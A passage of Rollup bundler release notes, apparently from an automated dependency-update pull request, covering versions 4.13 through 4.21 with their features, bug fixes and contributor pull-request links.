Call and await closeWatcher hooks on exit signals
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5622](https://redirect.github.com/rollup/rollup/pull/5622):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5624](https://redirect.github.com/rollup/rollup/pull/5624):
fix: add space for DOCUMENT_CURRENT_SCRIPT template
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5625](https://redirect.github.com/rollup/rollup/pull/5625):
fix: get the right chunk name for preserve modules in Windows
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.21.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4210)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.20.0...v4.21.0)

*2024-08-18*

##### Features

- Add option to configure directory for virtual modules when preserving
modules
([#&#8203;5602](https://redirect.github.com/rollup/rollup/issues/5602))

##### Pull Requests

- [#&#8203;5602](https://redirect.github.com/rollup/rollup/pull/5602):
feat: introduce the virtualDirname option to customize the virtual
directory name
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5607](https://redirect.github.com/rollup/rollup/pull/5607):
chore(deps): update typescript-eslint monorepo to v8 (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5608](https://redirect.github.com/rollup/rollup/pull/5608):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5611](https://redirect.github.com/rollup/rollup/pull/5611):
chore: fix the `noConflict` option in REPL.
([@&#8203;7086cmd](https://redirect.github.com/7086cmd))
- [#&#8203;5613](https://redirect.github.com/rollup/rollup/pull/5613):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5614](https://redirect.github.com/rollup/rollup/pull/5614):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.20.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4200)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.19.2...v4.20.0)

*2024-08-03*

##### Features

- Allow plugins to specify the original file name when emitting assets
([#&#8203;5596](https://redirect.github.com/rollup/rollup/issues/5596))

##### Pull Requests

- [#&#8203;5596](https://redirect.github.com/rollup/rollup/pull/5596):
Add originalFIleName property to emitted assets
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5599](https://redirect.github.com/rollup/rollup/pull/5599):
chore(deps): update dependency eslint-plugin-unicorn to v55
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5600](https://redirect.github.com/rollup/rollup/pull/5600):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.19.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4192)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.19.1...v4.19.2)

*2024-08-01*

##### Bug Fixes

- Avoid "cannot get value of null" error when using optional chaining
with namespaces
([#&#8203;5597](https://redirect.github.com/rollup/rollup/issues/5597))

##### Pull Requests

- [#&#8203;5597](https://redirect.github.com/rollup/rollup/pull/5597):
Fix retrieval of literal values for chained namespaces
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.19.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4191)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.19.0...v4.19.1)

*2024-07-27*

##### Bug Fixes

- Do not remove parantheses when tree-shaking logical expressions
([#&#8203;5584](https://redirect.github.com/rollup/rollup/issues/5584))
- Do not ignore side effects in calls left of an optional chaining
operator
([#&#8203;5589](https://redirect.github.com/rollup/rollup/issues/5589))

##### Pull Requests

- [#&#8203;5584](https://redirect.github.com/rollup/rollup/pull/5584):
fix: find whitespace from operator position to start
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5587](https://redirect.github.com/rollup/rollup/pull/5587):
docs: improve command by code-group
([@&#8203;thinkasany](https://redirect.github.com/thinkasany),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5589](https://redirect.github.com/rollup/rollup/pull/5589):
Fix side effect detection in optional chains
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5592](https://redirect.github.com/rollup/rollup/pull/5592):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5593](https://redirect.github.com/rollup/rollup/pull/5593):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5594](https://redirect.github.com/rollup/rollup/pull/5594):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5595](https://redirect.github.com/rollup/rollup/pull/5595):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.19.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4190)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.18.1...v4.19.0)

*2024-07-20*

##### Features

- Implement support for decorators
([#&#8203;5562](https://redirect.github.com/rollup/rollup/issues/5562))

##### Bug Fixes

- Improve soucemap generation when tree-shaking logical expressions
([#&#8203;5581](https://redirect.github.com/rollup/rollup/issues/5581))

##### Pull Requests

- [#&#8203;5562](https://redirect.github.com/rollup/rollup/pull/5562):
feat: implementing decorator support
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5570](https://redirect.github.com/rollup/rollup/pull/5570):
refactor(finalisers): condition branch
([@&#8203;Simon-He95](https://redirect.github.com/Simon-He95),
[@&#8203;zhangmo8](https://redirect.github.com/zhangmo8))
- [#&#8203;5572](https://redirect.github.com/rollup/rollup/pull/5572):
Improve chunk and asset type information in docs
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5573](https://redirect.github.com/rollup/rollup/pull/5573):
Switch to audit resolver to ignore requirejs vulnerability
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5575](https://redirect.github.com/rollup/rollup/pull/5575):
chore(deps): update dependency inquirer to v10
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5576](https://redirect.github.com/rollup/rollup/pull/5576):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5580](https://redirect.github.com/rollup/rollup/pull/5580):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5581](https://redirect.github.com/rollup/rollup/pull/5581):
When tree-shaking logical expression, make sure to remove all trailing
white-space.
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.18.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4181)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.18.0...v4.18.1)

*2024-07-08*

##### Bug Fixes

- Prevent "%" in generated file names to ensure imports resolve
([#&#8203;5535](https://redirect.github.com/rollup/rollup/issues/5535))

##### Pull Requests

- [#&#8203;5524](https://redirect.github.com/rollup/rollup/pull/5524):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5525](https://redirect.github.com/rollup/rollup/pull/5525):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5526](https://redirect.github.com/rollup/rollup/pull/5526):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5527](https://redirect.github.com/rollup/rollup/pull/5527):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5529](https://redirect.github.com/rollup/rollup/pull/5529):
Use Spanned trait to simplify logic
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5530](https://redirect.github.com/rollup/rollup/pull/5530):
Fix typos in ARCHITECTURE.md
([@&#8203;younggglcy](https://redirect.github.com/younggglcy))
- [#&#8203;5532](https://redirect.github.com/rollup/rollup/pull/5532):
Use Rust macros for converters where possible
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5535](https://redirect.github.com/rollup/rollup/pull/5535):
fix: escape `%` if URI malformed
([@&#8203;baseballyama](https://redirect.github.com/baseballyama),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5536](https://redirect.github.com/rollup/rollup/pull/5536):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5541](https://redirect.github.com/rollup/rollup/pull/5541):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5542](https://redirect.github.com/rollup/rollup/pull/5542):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5543](https://redirect.github.com/rollup/rollup/pull/5543):
Watch rust files and rebuild during dev
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5544](https://redirect.github.com/rollup/rollup/pull/5544):
Refactor AST converters
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5545](https://redirect.github.com/rollup/rollup/pull/5545):
chore(deps): update dependency
[@&#8203;rollup/plugin-commonjs](https://redirect.github.com/rollup/plugin-commonjs)
to v26 ([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5546](https://redirect.github.com/rollup/rollup/pull/5546):
chore(deps): update dependency nyc to v17
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5547](https://redirect.github.com/rollup/rollup/pull/5547):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5548](https://redirect.github.com/rollup/rollup/pull/5548):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5549](https://redirect.github.com/rollup/rollup/pull/5549):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5550](https://redirect.github.com/rollup/rollup/pull/5550):
chore(deps): update dependency eslint-plugin-unicorn to v54
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5551](https://redirect.github.com/rollup/rollup/pull/5551):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5555](https://redirect.github.com/rollup/rollup/pull/5555):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5556](https://redirect.github.com/rollup/rollup/pull/5556):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5558](https://redirect.github.com/rollup/rollup/pull/5558):
Consider that the body of ClassBody might be of type StaticBlock
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5565](https://redirect.github.com/rollup/rollup/pull/5565):
refactor(ast): conditional branch
([@&#8203;Simon-He95](https://redirect.github.com/Simon-He95))
- [#&#8203;5566](https://redirect.github.com/rollup/rollup/pull/5566):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5567](https://redirect.github.com/rollup/rollup/pull/5567):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.18.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4180)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.17.2...v4.18.0)

*2024-05-22*

##### Features

- Resolve import.meta.filename and .dirname in transpiled plugins
([#&#8203;5520](https://redirect.github.com/rollup/rollup/issues/5520))

##### Pull Requests

- [#&#8203;5504](https://redirect.github.com/rollup/rollup/pull/5504):
Auto generate node index
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5507](https://redirect.github.com/rollup/rollup/pull/5507):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5508](https://redirect.github.com/rollup/rollup/pull/5508):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5510](https://redirect.github.com/rollup/rollup/pull/5510):
Split up converter.rs into AST nodes
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5512](https://redirect.github.com/rollup/rollup/pull/5512):
chore(deps): update dependency builtin-modules to v4
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5514](https://redirect.github.com/rollup/rollup/pull/5514):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5518](https://redirect.github.com/rollup/rollup/pull/5518):
chore(deps): update dependency eslint-plugin-unicorn to v53
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5519](https://redirect.github.com/rollup/rollup/pull/5519):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5520](https://redirect.github.com/rollup/rollup/pull/5520):
Resolve import.meta.{filename,dirname} in files imported from config
([@&#8203;BPScott](https://redirect.github.com/BPScott))
- [#&#8203;5521](https://redirect.github.com/rollup/rollup/pull/5521):
docs: correct base32 to base36 in documentation
([@&#8203;highcastlee](https://redirect.github.com/highcastlee))

###
[`v4.17.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4172)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.17.1...v4.17.2)

*2024-04-30*

##### Bug Fixes

- Fix tree-shaking problems when using spread arguments
([#&#8203;5503](https://redirect.github.com/rollup/rollup/issues/5503))

##### Pull Requests

- [#&#8203;5501](https://redirect.github.com/rollup/rollup/pull/5501):
Slightly improve perf report
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5503](https://redirect.github.com/rollup/rollup/pull/5503):
fix: rest element should deoptimize parameter values
([@&#8203;liuly0322](https://redirect.github.com/liuly0322))

###
[`v4.17.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4171)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.17.0...v4.17.1)

*2024-04-29*

##### Bug Fixes

- Prevent infinite recursions for certain constructor invocations
([#&#8203;5500](https://redirect.github.com/rollup/rollup/issues/5500))

##### Pull Requests

- [#&#8203;5500](https://redirect.github.com/rollup/rollup/pull/5500):
fix: parameter variable infinite recursion error
([@&#8203;liuly0322](https://redirect.github.com/liuly0322))

###
[`v4.17.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4170)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.16.4...v4.17.0)

*2024-04-27*

##### Features

- Track function call arguments to optimize functions only called once
or with the same literal values (re-release from 4.16.0)
([#&#8203;5483](https://redirect.github.com/rollup/rollup/issues/5483))

##### Bug Fixes

- Reduce browser WASM size to a fraction by changing optimization
settings
([#&#8203;5494](https://redirect.github.com/rollup/rollup/issues/5494))

##### Pull Requests

- [#&#8203;5483](https://redirect.github.com/rollup/rollup/pull/5483):
feature(fix): function parameter tracking
([@&#8203;liuly0322](https://redirect.github.com/liuly0322))
- [#&#8203;5488](https://redirect.github.com/rollup/rollup/pull/5488):
Report performance in CI
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5489](https://redirect.github.com/rollup/rollup/pull/5489):
Create FUNDING.json
([@&#8203;BenJam](https://redirect.github.com/BenJam))
- [#&#8203;5492](https://redirect.github.com/rollup/rollup/pull/5492):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5493](https://redirect.github.com/rollup/rollup/pull/5493):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5494](https://redirect.github.com/rollup/rollup/pull/5494):
Use opt-level=z for browser wasm
([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red))

###
[`v4.16.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4164)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.16.3...v4.16.4)

*2024-04-23*

##### Bug Fixes

- Revert function parameter tracking logic introduced in 4.16.0 to work
on some remaining issues
([#&#8203;5487](https://redirect.github.com/rollup/rollup/issues/5487))

##### Pull Requests

- [#&#8203;5487](https://redirect.github.com/rollup/rollup/pull/5487):
Revert function parameter tracking logic for now
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.16.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4163)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.16.2...v4.16.3)

*2024-04-23*

##### Bug Fixes

- Do not optimize IIFEs that have a name and are again referenced inside
their definition
([#&#8203;5486](https://redirect.github.com/rollup/rollup/issues/5486))

##### Pull Requests

- [#&#8203;5486](https://redirect.github.com/rollup/rollup/pull/5486):
fix: only optimize annoymous iife
([@&#8203;liuly0322](https://redirect.github.com/liuly0322))

###
[`v4.16.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4162)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.16.1...v4.16.2)

*2024-04-22*

##### Bug Fixes

- Resolve a situation condition where reassignments of function
parameters were not tracked properly
([#&#8203;5482](https://redirect.github.com/rollup/rollup/issues/5482))
- Make sure that for armv7 packages, only one package is downloaded for
the user (musl or gnu)
([#&#8203;5479](https://redirect.github.com/rollup/rollup/issues/5479))

##### Pull Requests

- [#&#8203;5479](https://redirect.github.com/rollup/rollup/pull/5479):
Add libc field to armv7 packages
([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red))
- [#&#8203;5482](https://redirect.github.com/rollup/rollup/pull/5482):
fix: function parameter reassigned update
([@&#8203;liuly0322](https://redirect.github.com/liuly0322))

###
[`v4.16.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4161)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.16.0...v4.16.1)

*2024-04-21*

##### Bug Fixes

- Fix crash when rendering logical or conditional expressions
([#&#8203;5481](https://redirect.github.com/rollup/rollup/issues/5481))

##### Pull Requests

- [#&#8203;5481](https://redirect.github.com/rollup/rollup/pull/5481):
fix: conditional/logical expression should request a new tree-shaking
([@&#8203;liuly0322](https://redirect.github.com/liuly0322))

###
[`v4.16.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4160)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.15.0...v4.16.0)

*2024-04-21*

##### Features

- Track function call arguments to optimize functions only called once
or with the same literal values
([#&#8203;5443](https://redirect.github.com/rollup/rollup/issues/5443))

##### Pull Requests

- [#&#8203;5443](https://redirect.github.com/rollup/rollup/pull/5443):
feat: improve tree-shaking by propagate const parameter
([@&#8203;liuly0322](https://redirect.github.com/liuly0322),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.15.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4150)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.14.3...v4.15.0)

*2024-04-20*

##### Features

- Add output.importAttributesKey option to select whether to use "with"
or "assert" for import attributes
([#&#8203;5474](https://redirect.github.com/rollup/rollup/issues/5474))

##### Pull Requests

- [#&#8203;5474](https://redirect.github.com/rollup/rollup/pull/5474):
Add ImportAttributesKey to choose keyword ("with" | "assert")
([@&#8203;doubleaa93](https://redirect.github.com/doubleaa93),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5475](https://redirect.github.com/rollup/rollup/pull/5475):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5477](https://redirect.github.com/rollup/rollup/pull/5477):
Try to run emulated smoke tests for Linux environments
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.14.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4143)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.14.2...v4.14.3)

*2024-04-15*

##### Bug Fixes

- Support Alpine Linux and other MUSL builds on ARM
([#&#8203;5471](https://redirect.github.com/rollup/rollup/issues/5471))

##### Pull Requests

- [#&#8203;5471](https://redirect.github.com/rollup/rollup/pull/5471):
Add linux arm musl build
([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red))

###
[`v4.14.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4142)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.14.1...v4.14.2)

*2024-04-12*

##### Bug Fixes

- Do not create invalid code when reexporting both a namespace and the
default export from that namespace
([#&#8203;5466](https://redirect.github.com/rollup/rollup/issues/5466))
- Ensure ppc64 platform is properly detected
([#&#8203;5460](https://redirect.github.com/rollup/rollup/issues/5460))

##### Pull Requests

- [#&#8203;5456](https://redirect.github.com/rollup/rollup/pull/5456):
Add high-level architecture documentation
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5460](https://redirect.github.com/rollup/rollup/pull/5460):
Fix ppc64le target
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5463](https://redirect.github.com/rollup/rollup/pull/5463):
chore: tweak the comment about files should not be edited
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5466](https://redirect.github.com/rollup/rollup/pull/5466):
Ensure reexported namespaces do not prevent creation of default export
helpers
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5468](https://redirect.github.com/rollup/rollup/pull/5468):
chore(deps): update dependency eslint-plugin-unicorn to v52
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5469](https://redirect.github.com/rollup/rollup/pull/5469):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5470](https://redirect.github.com/rollup/rollup/pull/5470):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.14.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4141)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.14.0...v4.14.1)

*2024-04-07*

##### Bug Fixes

- Show better error when running on musl Linux where the musl build is
not supported
([#&#8203;5454](https://redirect.github.com/rollup/rollup/issues/5454))

##### Pull Requests

- [#&#8203;5451](https://redirect.github.com/rollup/rollup/pull/5451):
chore: generate string constants from config
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5452](https://redirect.github.com/rollup/rollup/pull/5452):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5453](https://redirect.github.com/rollup/rollup/pull/5453):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5454](https://redirect.github.com/rollup/rollup/pull/5454):
Improve error message when running on unsupported MUSL Linux
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5455](https://redirect.github.com/rollup/rollup/pull/5455):
Remove inlining logic in AST (de-)serializer
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.14.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4140)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.13.2...v4.14.0)

*2024-04-03*

##### Features

- Display error causes in Rollup CLI
([#&#8203;5422](https://redirect.github.com/rollup/rollup/issues/5422))
- Add basic support for explicit resource management via "using" and
"await using"
([#&#8203;5423](https://redirect.github.com/rollup/rollup/issues/5423))

##### Pull Requests

- [#&#8203;5422](https://redirect.github.com/rollup/rollup/pull/5422):
feat: show all cause in Error
([@&#8203;devohda](https://redirect.github.com/devohda),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5444](https://redirect.github.com/rollup/rollup/pull/5444):
feat: support explicit-resource-management
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5445](https://redirect.github.com/rollup/rollup/pull/5445):
docs: add `@shikiji/vitepress-twoslash`
([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red))
- [#&#8203;5447](https://redirect.github.com/rollup/rollup/pull/5447):
chore(deps): lock file maintenance minor/patch updates (
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5448](https://redirect.github.com/rollup/rollup/pull/5448):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.13.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4132)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.13.1...v4.13.2)

*2024-03-28*

##### Bug Fixes

- Ensure accessing module info is cached after the build phase for
improved performance
([#&#8203;5438](https://redirect.github.com/rollup/rollup/issues/5438))
- Support powerpc64le CPUs
([#&#8203;5350](https://redirect.github.com/rollup/rollup/issues/5350))

##### Pull Requests

- [#&#8203;5350](https://redirect.github.com/rollup/rollup/pull/5350):
Add support for ppc64le
([@&#8203;pavolloffay](https://redirect.github.com/pavolloffay),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5438](https://redirect.github.com/rollup/rollup/pull/5438):
Cache module info getters before output generation
([@&#8203;bluwy](https://redirect.github.com/bluwy),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.13.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4131)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.13.0...v4.13.1)

*2024-03-27*

##### Bug Fixes

- Add new linux-s390x-gnu native binary package
([#&#8203;5346](https://redirect.github.com/rollup/rollup/issues/5346))

##### Pull Requests

- [#&#8203;5346](https://redirect.github.com/rollup/rollup/pull/5346):
Add support for linux s390x gnu
([@&#8203;edlerd](https://redirect.github.com/edlerd))
- [#&#8203;5430](https://redirect.github.com/rollup/rollup/pull/5430):
chore(deps): update dependency
[@&#8203;vue/eslint-config-typescript](https://redirect.github.com/vue/eslint-config-typescript)
to v13 ([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5431](https://redirect.github.com/rollup/rollup/pull/5431):
chore(deps): lock file maintenance minor/patch updates (
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5432](https://redirect.github.com/rollup/rollup/pull/5432):
chore(deps): lock file maintenance minor/patch updates (
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5436](https://redirect.github.com/rollup/rollup/pull/5436):
chore(deps): lock file maintenance minor/patch updates (
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5437](https://redirect.github.com/rollup/rollup/pull/5437):
chore(deps): lock file maintenance minor/patch updates (
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.13.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4130)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.12.1...v4.13.0)

*2024-03-12*

##### Features

- Ensure that the location of parse errors and other logs is encoded in
the error message as well
([#&#8203;5424](https://redirect.github.com/rollup/rollup/issues/5424))

##### Pull Requests

- [#&#8203;5417](https://redirect.github.com/rollup/rollup/pull/5417):
chore(deps): lock file maintenance minor/patch updates (
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5418](https://redirect.github.com/rollup/rollup/pull/5418):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5419](https://redirect.github.com/rollup/rollup/pull/5419):
chore: fix typo
([@&#8203;OnlyWick](https://redirect.github.com/OnlyWick))
- [#&#8203;5424](https://redirect.github.com/rollup/rollup/pull/5424):
